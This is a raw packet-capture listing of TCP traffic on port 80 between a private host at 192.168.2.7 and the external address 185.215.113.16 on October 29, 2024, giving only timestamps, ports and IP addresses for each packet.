Oct 29, 2024 20:36:09.700289011 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700300932 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700309992 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700330019 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700349092 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700360060 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700362921 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.700372934 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700382948 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.700385094 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700398922 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700417042 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.700448036 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.700480938 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700493097 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700504065 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700514078 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700552940 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.700577021 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.700635910 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700648069 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700664043 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700681925 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700691938 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700707912 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.700747013 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.700799942 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700809956 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.700861931 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.765845060 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766024113 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766036987 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766052961 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766066074 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766186953 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766231060 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766243935 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766254902 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766264915 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766267061 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766314983 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766383886 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766398907 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766410112 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766422987 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766434908 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766438007 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766448021 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766459942 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766472101 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766485929 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766508102 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766539097 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766542912 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766551971 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766578913 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766590118 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766598940 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766608000 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766612053 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766623974 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766638041 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766647100 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766654015 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766669035 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766670942 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766684055 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766695976 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766705036 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766706944 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766726971 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766741037 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766750097 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766752005 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766766071 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766772032 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766782045 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766793966 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766804934 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766808987 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766817093 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766829014 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766840935 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766844988 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766854048 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766865015 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766876936 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766880989 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766889095 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766902924 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766915083 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766916037 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766927958 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766941071 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.766944885 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.766973019 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767002106 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767026901 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767039061 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767057896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767071962 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767079115 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767085075 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767143011 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767147064 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767155886 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767168045 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767184019 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767185926 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767213106 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767237902 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767340899 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767353058 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767365932 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767379045 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767390966 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767412901 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767457008 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767488956 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767501116 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767512083 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767524004 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767532110 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767538071 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767553091 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767560959 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767606020 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767790079 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767802954 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767813921 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767827034 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767839909 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767849922 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767855883 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767864943 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767877102 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767884016 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767889023 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767900944 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767914057 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767914057 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767925024 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.767946005 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.767978907 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.807709932 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.807728052 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.807738066 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.807765961 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.807776928 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.807787895 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.807801008 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.807820082 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.807890892 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.807928085 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.807940960 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.807952881 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.807969093 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.807976007 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808023930 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808056116 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808068037 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808079004 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808104992 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808139086 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808165073 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808195114 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808207989 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808218956 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808231115 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808250904 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808254957 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808269024 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808279991 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808296919 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808314085 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808314085 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808314085 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808329105 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808393002 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808403015 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808413982 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808423996 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808446884 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808485985 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808548927 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808559895 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808569908 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808581114 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808592081 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808602095 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808609009 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808617115 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808628082 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808640957 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808641911 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808669090 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808819056 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808831930 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808841944 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808854103 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808873892 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808876991 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808885098 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808897018 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808911085 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808913946 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808928967 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808939934 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808947086 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.808954000 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.808958054 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809005976 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809199095 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809211969 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809221983 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809235096 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809247971 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809258938 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809266090 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809266090 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809278965 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809283972 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809292078 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809303045 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809314013 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809326887 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809329033 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809343100 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809375048 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809531927 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809544086 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809555054 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809566975 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809578896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809588909 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809598923 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809602022 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809616089 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809627056 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809634924 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809640884 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809653997 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809668064 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809693098 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809794903 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809806108 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809818029 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809828997 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809863091 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809880018 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.809948921 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809959888 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809971094 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809981108 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809993029 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.809998989 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810009003 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810026884 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810026884 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.810039043 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810051918 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.810058117 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810070038 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810080051 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810081005 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.810092926 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810101032 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.810103893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810117006 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810127974 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810139894 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810162067 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.810199976 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.810545921 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810559034 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810569048 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810580969 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810592890 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810602903 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810606956 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.810616016 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810627937 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810637951 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810642004 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.810648918 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810661077 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810673952 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810678005 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.810700893 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.810724020 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.810878992 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810890913 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810902119 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810913086 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810925007 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810935974 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810939074 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.810949087 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810961008 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810972929 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810986996 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.810990095 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.811000109 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811014891 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811022997 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.811028957 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811045885 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.811080933 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.811223984 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811235905 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811254025 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811264992 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811275959 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811285973 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811299086 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811300039 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.811326027 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.811328888 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811342001 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811347961 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.811353922 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811364889 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811376095 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811387062 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811392069 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.811398983 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811409950 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811422110 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811431885 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.811434984 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811460972 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.811492920 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.811783075 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811794043 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811805010 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811816931 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811827898 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811839104 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811850071 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.811852932 CET	49981	80	192.168.2.7	185.215.113.16
